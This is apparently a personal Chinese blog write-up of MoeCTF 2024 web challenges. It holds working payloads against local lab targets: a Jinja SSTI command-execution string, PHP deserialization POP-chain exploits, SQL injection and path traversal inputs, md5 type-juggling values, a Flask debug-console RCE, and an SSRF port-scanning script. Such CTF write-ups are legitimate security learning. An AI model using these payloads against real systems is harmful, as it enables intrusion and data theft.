MoeCTF2024

0x01 前言

赶紧来看看

0x02 question

ez_http

抓不到包,直接看吧

1
2
3
4
5
6
7
8
http://127.0.0.1:57206/?xt=大帅b

POST ;
imoau=sb
Referer:https://www.xidian.edu.cn/
X-Forwarded-For:127.0.0.1
Cookie:user=admin
User-Agent:MoeDedicatedBrowser

Web渗透测试与审计入门指北

直接搭建网站即可

弗拉格之地的入口

访问/robots.txt

垫刀之路01: MoeCTF?启动!

env即可

Moectf 2024 Web 调查问卷

填写问卷就可以了

ProveYourLove

表白三百次

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import time
# 定义目标URL
url = "http://127.0.0.1:51843/questionnaire"

# 定义请求头
headers = {
    "Content-Length": "129",
    "sec-ch-ua-platform": "Windows",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36",
    "sec-ch-ua": '"Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"',
    "Content-Type": "application/json",
    "sec-ch-ua-mobile": "?0",
    "Accept": "*/*",
    "Origin": "http://127.0.0.1:51843",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
    "Referer": "http://127.0.0.1:51843/",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
    "Connection": "close"
}

# 定义请求体
data = {
    "nickname": "baozongwi",
    "user_gender": "male",
    "target": "admin",
    "target_gender": "female",
    "message": "我爱你",
    "anonymous": "false"
}

# 发送POST请求
for i in range(310):
    response = requests.post(url, headers=headers, json=data)
    time.sleep(0.1)
    # 打印响应状态码和内容
    print(f"Status Code: {response.status_code}")
    print(f"Response Content: {response.text}")

弗拉格之地的挑战

1
2
3
<!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步:/flag2hh.php-->

抓包发现第二个界面

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 05 Oct 2024 05:08:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.22
flag2: e0FmdEV
nextpage: /flag3cad.php
Content-Length: 361

发包得到第三段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /flag3cad.php?a=1 HTTP/1.1
Host: 127.0.0.1:54389
Content-Length: 3
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Origin: http://127.0.0.1:54389
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:54389/flag3cad.php?a=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: verify=user
Connection: close

b=2
1
flag3: yX3RoMXN

然后加个这个才能过

1
Referer:http://localhost:8080/flag3cad.php?a=1

查看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var buttons = document.getElementById("scope").getElementsByTagName("button");
    for (var i = 0; i < buttons.length; i++) {
        buttons[i].id = i + 1;
    }
    function start() {
        document.getElementById("num").innerText = "9";
    }
    function getID(button) {
        if (button.id == 9) {
            alert("你过关!(铜人震声)\n我们使用 console.log 来为你生成 flag");
            fetch('flag4bbc.php', {
                method: 'post',
                body: 'method=get',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
            }).then((data) => {
                return data.json();
            }).then((result) => {
				console.log(result.hint);
                console.log(result.fll);
                console.log(result.goto)
            });
        } else {
            alert("该罚!(头部碰撞声)")
        }
    }

这里我们要添加一个按钮

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<div id="scope">
    <button onclick="getID(this)" id="1">1</button>
    <button onclick="getID(this)" id="2">2</button>
    <button onclick="getID(this)" id="3">3</button>
    <button onclick="getID(this)" id="4">4</button>
    <button onclick="getID(this)" id="5">5</button>
    <button onclick="getID(this)" id="6">6</button>
    <button onclick="getID(this)" id="7">7</button>
    <button onclick="getID(this)" id="8">8</button>
    <button onclick="getID(this)" id="9">9</button>
</div>

拿到

1
2
3
恭喜你!你已经知道,前端的一切都是可以更改的!
flag4bbc.php:41 flag4: fdFVUMHJ
flag4bbc.php:42 前往:/flag5sxr.php

然后POST一个

1
content=I want flag
1
flag5: fSV90aDF
1
2
3
4
5
6
7
8
9
<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
    if (preg_match('/flag/', $_GET['moe'])) {
        die("no");
    } elseif (preg_match('/flag/i', $_GET['moe'])) {
        echo "flag6: xxx";
    }
}

看不到东西在哪里,奇怪,反斜杠引号绕过也不行,再试试直接大小写绕过了

1
2
3
?moe=FLAG
POST:
moe=FLAG
1
flag6: rZV9VX2t

后面直接执行命令

1
rbm93X1dlQn0=
1
bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=

解码即可

ImageCloud前置

直接用协议读取

垫刀之路02: 普通的文件上传

上传之后找了一下,最后在环境变量里面

垫刀之路03: 这是一个图床

和02没啥区别,难道我02就是非预期?

垫刀之路05: 登陆网站

先爆破了一下发现不行,然后弱密码欧克

1
2
username='='
password='='

垫刀之路06: pop base mini moe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
    // 注意 private 属性的序列化哦
    private $evil;

    // 如何赋值呢
    private $a;

    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }
}

class B {
    private $b;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}


 if(isset($_GET['data']))
 {
     $a = unserialize($_GET['data']);
 }
 else {
     highlight_file(__FILE__);
 }

直接public就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php

class A {
    // 注意 private 属性的序列化哦
    public $evil;

    // 如何赋值呢
    public $a;
}
$a=new A();
$a->a="system";
$a->evil="env";
echo urlencode(serialize($a));

垫刀之路07: 泄漏的密码

访问/console,然后RCE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import os
>>> print(os.popen('tac /f*').read())
远在天边,近在眼前啊
>>> print(os.popen('ls').read())
__pycache__
app.py
flag
getPIN.py
static
templates

>>> print(os.popen('tac f*').read())
moectf{Dont_usiNG-FlaSk_6y-dEBuG-mOD-4nd-I3AK_yOUR-P1N17}

垫刀之路04: 一个文件浏览器

1
http://127.0.0.1:61013/?path=../../../../etc/passwd

任意文件读取了,直接读

1
http://127.0.0.1:61013/?path=../../../../tmp/flag

静态网页

使用bp爬取一下,然后在api接口里面发现这玩意

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 05 Oct 2024 07:03:17 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.3.22
Content-Length: 3012

{
    "version": "1.0.0",
    "model": "../model/Potion-Maker/Pio/model.moc",
    "textures": [
        "../model/Potion-Maker/Pio/textures/school-2017-costume-yellow.png"
    ],
    "layout": {
        "center_x": 0,
        "center_y": -0.05,
        "width": 2
    },
    "hit_areas_custom": {
        "head_x": [
            -0.35,
            0.6
        ],
        "head_y": [
            0.19,
            -0.2
        ],
        "body_x": [
            -0.3,
            -0.25
        ],
        "body_y": [
            0.3,
            -0.9
        ]
    },
    "motions": {
        "idle": [
            {
                "file": "../model/Potion-Maker/Pio/motions/Breath1.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Breath2.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Breath3.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Breath5.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Breath7.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Breath8.mtn"
            }
        ],
        "sleepy": [
            {
                "file": "../model/Potion-Maker/Pio/motions/Sleeping.mtn"
            }
        ],
        "flick_head": [
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch Dere1.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch Dere2.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch Dere3.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch Dere4.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch Dere5.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch Dere6.mtn"
            }
        ],
        "tap_body": [
            {
                "file": "../model/Potion-Maker/Pio/motions/Sukebei1.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Sukebei2.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Sukebei3.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch1.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch2.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch3.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch4.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch5.mtn"
            },
            {
                "file": "../model/Potion-Maker/Pio/motions/Touch6.mtn"
            }
        ]
    },
    "flag": "Please turn to final1l1l_challenge.php"
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
    if (!is_numeric($a) && !is_numeric($b)) {
        if ($a == 0 && md5($a) == $b[$a]) {
            echo $flag;
        } else {
            die('noooooooooooo');
        }
    } else {
        die( 'Notice the param type!');
    }
} else {
    die( 'Where is your param?');
}

想了一下就是要md5之后还是0e开头,下面再传0就可以了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a
1
2
3
?a=QNKCDZO
POST:
b=0%00

电院_Backend

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
session_start();

if($_POST){
    $verify_code = $_POST['verify_code'];

    // 验证验证码
    if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
        echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
        unset($_SESSION['captcha_code']);
        exit;
    }

    $email = $_POST['email'];
    if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
        echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
        unset($_SESSION['captcha_code']);
        exit;
    }

    $pwd = $_POST['pwd'];
    $pwd = md5($pwd);
    $conn = mysqli_connect("localhost","root","123456","xdsec",3306);


    $sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
    $result = mysqli_query($conn,$sql);
    $row = mysqli_fetch_array($result);

    if($row){
        $_SESSION['admin_id'] = $row['id'];
        $_SESSION['admin_email'] = $row['email'];
        echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
    } else{
        echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
        unset($_SESSION['captcha_code']);
    }
}


?>

这么一看感觉像是sql注入

1
2
3
4
SELECT * FROM admin WHERE email='$email' AND pwd='$pwd';

1'<'2'-- and '1'<'2@1.1';
SELECT * FROM admin WHERE email='1'<'2'-- and '1'<'2@1.1';' AND pwd='1';

回到题目进行测试,拿到路由/admin/,由于有格式的检测所以只能这么写

不能有or而且要求了格式是基本的邮箱,还要维持一个等于

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
mysql> select '2@1.1';
+-------+
| 2@1.1 |
+-------+
| 2@1.1 |
+-------+
1 row in set (0.02 sec)

mysql> select '1'<'2@1.1';
+-------------+
| '1'<'2@1.1' |
+-------------+
|           1 |
+-------------+
1 row in set (0.03 sec)

pop moe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class class000 {
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

if(isset($_GET['data']))
{
    $a = unserialize($_GET['data']);
}
else {
    highlight_file(__FILE__);
}

个人感觉挺绕的,我如果打eval那条链子只能打个phpinfo

如果是set那条的话可能能getshell

1
class002::dangerous->class003::evvval

不过并没有我想的那样,这里直接断了,所以应该还是只有一条链子

1
class000::destruct->class001::invoke->class002::set->class002::dangerous->class003::evvval

这样子就完整了,写个poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class class000 {
    public $payl0ad = 1;
    public $what;

}

class class001 {
    public $payl0ad;
    public $a;
}

class class002 {
    public $sec;

}

class class003 {
    public $mystr;
}
$a=new class000();
$a->what=new class001();
$a->what->payl0ad="dangerous";
$a->what->a=new class002();
$a->what->a->sec=new class003();
$a->what->a->sec->mystr="phpinfo();";
echo urlencode(serialize($a));

勇闯铜人阵

这道题还是一个脚本题,挺有意思的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import requests
from bs4 import BeautifulSoup
import re

def getKey(response):
    if response.status_code == 200:
        beautiful_soup = BeautifulSoup(response.text, "html.parser")
        key_text = beautiful_soup.find("h1", id="status")
        if key_text:
            print(key_text.text.strip())
            return key_text
        else:
            print("Error: No h1 element with id 'status' found.")
            print("Response text:")
            print(response.text)
    else:
        print(f"Error: Request failed with status code {response.status_code}")
        print("Response text:")
        print(response.text)
    return None

def parseNumbers(text):
    match = re.findall(r'(\d+)', text)
    number = [int(num) for num in match]
    if not number:
        print("Error: No numbers found in the text.")
        print("Text being parsed:")
        print(text)
    return number

def generateDirect(number):
    if len(number) == 1:
        return direct_dict[str(number[0])].replace("一个", "")
    elif len(number) == 2:
        return f"{direct_dict[str(number[0])]}{direct_dict[str(number[1])]}"
    else:
        print("Error: Unexpected number of elements in the number list.")
        return ""

direct_dict = {
    "1": "北方一个",
    "2": "东北方一个",
    "3": "东方一个",
    "4": "东南方一个",
    "5": "南方一个",
    "6": "西南方一个",
    "7": "西方一个",
    "8": "西北方一个"
}

url = "http://127.0.0.1:56182/"
response = requests.get(url + "restart")
key_text = getKey(response)

if key_text:
    session = requests.session()
    data = {
        "player": "baozongwi",
        "direct": "弟子明白"
    }
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    print(data)
    response = session.post(url=url, data=data, headers=headers)

    for _ in range(100):
        r = getKey(response)
        if r is not None:
            if "该罚!(应声倒地)" in r.text:
                print("Error: Received penalty message. Stopping the loop.")
                break
            number = parseNumbers(r.text)
            if number:
                data['direct'] = generateDirect(number)
                print(data)
                response = session.post(url=url, data=data, headers=headers)
                if "moectf" in response.text:
                    print(response.text)
                    break
            else:
                break
        else:
            print("Error: Failed to get key text.")
            break

自己写的发现有点问题,和AI一起调整

Re: 从零开始的 XDU 教书生活

你教书为什么要我AES加密服了

抄的一个师傅的脚本,我模块都没有所以flag也没有

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests
import re
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import time


def encrypt_by_aes(plaintext: str, key: str, iv: str) -> str:
    key_bytes = key.encode("utf-8")
    iv_bytes = iv.encode("utf-8")
    cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

    # 将明文转为字节并进行填充(填充到块大小的倍数,通常是16字节)
    plaintext_bytes = pad(plaintext.encode("utf-8"), AES.block_size)

    # 加密
    encrypted_bytes = cipher.encrypt(plaintext_bytes)

    # 将加密后的字节进行 base64 编码
    encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")

    return encrypted

key = "u2oh6Vu^HWe4_AES"
iv = "u2oh6Vu^HWe4_AES"





# 保存结果的文件名
output_file = "output1.txt"

# 读取保存的数据
with open(output_file, "r", encoding="utf-8") as file:
    lines = file.readlines()

# 循环遍历每一行数据
for line in lines:
    a = requests.session()

    url = 'http://127.0.0.1:35849/v2/apis/sign/refreshQRCode'

    b = a.get(url=url)
    print(b.text)
    # 提取signCode
    signCode = re.findall(r'"signCode":"(.*?)"', b.text)
    signCode = str(signCode)
    signCode = signCode.replace("'", "").replace("[", "").replace("]", "")

    # 提取enc值
    enc = re.findall(r'"enc":"(.*?)"', b.text)
    enc = str(enc)
    enc = enc.replace("'", "").replace("[", "").replace("]", "")

    print('signCode=', signCode)
    print('enc=', enc)

    number = line.strip()  # 去除行末尾的换行符
    plaintext = number
    encrypted_text = encrypt_by_aes(plaintext, key, iv)
    print('encrtpted==',encrypted_text)
    url1='http://127.0.0.1:35849/fanyalogin'
    data={
    "fid":-1,
    "uname":f"{encrypted_text}",
    "password":f"{encrypted_text}",
    "refer":"https%253A%252F%252Fi.chaoxing.com",
    "t":"true",
    "forbidotherlogin":0,
    "doubleFactorLogin":0,
    "independentId":0,
    "independentNameId":0
    }

    cookies = {
        "retainlogin": "1",
        "token": "f5ba764e-040a-400c-ae13-80fedd7caac6"
    }
    login1=requests.session()
    login = login1.post(url=url1,data=data)
    print("data注入",login)
    # print(login.cookies)
    cook = login.cookies
    print(cook)
    for cookie in cook:
        if cookie.name == "token":
            token_value = cookie.value #token值
            print(f"token={token_value}")
            cookies["token"]=token_value
            break  # 找到后就可以停止遍历
    print(cookies)

    url2 =f'http://127.0.0.1:35849/widget/sign/e?id=4000000000000&c={signCode}&enc={enc}&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id'
    login3s=requests.session()
    login3 = login3s.get(url=url2,cookies=cookies)
    print(login3)
    time.sleep(0.5)

who’s blog?

发现可以SSTI

1
?id={{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('env').read()}}

ImageCloud

有张flag图片,但是里面好像也没有藏什么东西

app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename

app = Flask(__name__)

UPLOAD_FOLDER = 'static/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    return '''
    <h1>图片上传</h1>
    <form method="post" enctype="multipart/form-data" action="/upload">
      <input type="file" name="file">
      <input type="submit" value="上传">
    </form>
    <h2>已上传的图片</h2>
    <ul>
    ''' + ''.join(
        f'<li><a href="/image?url=http://localhost:5000/static/{filename}">{filename}</a></li>'
        for filename in uploaded_files
    ) + '''
    </ul>
    '''

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return '未找到文件部分', 400
    file = request.files['file']

    if file.filename == '':
        return '未选择文件', 400
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        ext = filename.rsplit('.', 1)[1].lower()

        unique_filename = f"{len(uploaded_files)}_{filename}"
        filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

        file.save(filepath)
        uploaded_files.append(unique_filename)

        return redirect(url_for('index'))
    else:
        return '文件类型不支持', 400

@app.route('/image', methods=['GET'])
def load_image():
    url = request.args.get('url')
    if not url:
        return 'URL 参数缺失', 400

    try:
        response = requests.get(url)
        response.raise_for_status()
        img = Image.open(BytesIO(response.content))

        img_io = BytesIO()
        img.save(img_io, img.format)
        img_io.seek(0)
        return send_file(img_io, mimetype=img.get_format_mimetype())
    except Exception as e:
        return f"无法加载图片: {str(e)}", 400

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    app.run(host='0.0.0.0', port=5000)

app2.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
import socket
import random

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def get_mimetype(file_path):
    mime = mimetypes.guess_type(file_path)[0]
    if mime is None:
        try:
            with Image.open(file_path) as img:
                mime = img.get_format_mimetype()
        except Exception:
            mime = 'application/octet-stream'
    return mime

def find_free_port_in_range(start_port, end_port):
    while True:
        port = random.randint(start_port, end_port)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(('0.0.0.0', port))
        s.close()
        return port 

@app.route('/')
def index():
    return '''
    <h1>图片上传</h1>
    <form method="post" enctype="multipart/form-data" action="/upload">
      <input type="file" name="file">
      <input type="submit" value="上传">
    </form>
    <h2>已上传的图片</h2>
    <ul>
    ''' + ''.join(f'<li><a href="/image/{filename}">{filename}</a></li>' for filename in uploaded_files) + '''
    </ul>
    '''

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return '未找到文件部分', 400
    file = request.files['file']

    if file.filename == '':
        return '未选择文件', 400
    if file and allowed_file(file.filename):

        filename = secure_filename(file.filename)
        ext = filename.rsplit('.', 1)[1].lower()

        unique_filename = f"{len(uploaded_files)}_{filename}"
        filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

        file.save(filepath)
        uploaded_files.append(unique_filename)

        return redirect(url_for('index'))
    else:
        return '文件类型不支持', 400

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    if os.path.exists(filepath):
        mime = get_mimetype(filepath)
        return send_file(filepath, mimetype=mime)
    else:
        return '文件未找到', 404

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    port = find_free_port_in_range(5001, 6000)
    app.run(host='0.0.0.0', port=port)

这两东西感觉没啥太大差别啊,不过这端口肯定是要扫描一下的,并且看个大概也知道,就是在扫描看看有没有文件,刚刚有个flag.jpg

本来是想着本地来直接看着打,结果一直跑脚本跑不出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import requests

url = "http://192.168.9.154:5124/image?url=http://127.0.0.1:{port}/image/flag.jpg"

# 遍历端口范围
for port in range(5001, 6001):
    try:
        url = url.format(port=port)
        # 发起请求
        response = requests.get(url, timeout=5)
        print(port)
        if "无法加载图片" not in response.text:
            print(f"成功连接到端口 {port}")
            print(response.text)
            break
    except requests.exceptions.RequestException as e:
        print(f"连接到端口 {port} 失败: {e}")

后面知道说是不用开本地服务,不然靶机有啥用(说的也是)。用bp爆破一下就可以了

1
/image?url=http://localhost:5133/image/flag.jpg

PetStore

pickle反序列化,不会也,但是这个可以等后面会了来

smbms

貌似是一个Java的sql,不会

0x03 小结

说实话有些东西,还是没接触过,特别是铜人那个脚本,自己代码能力还是不行,感觉更加动手,平台很流程好用

赞赏支持

Licensed under CC BY-NC-SA 4.0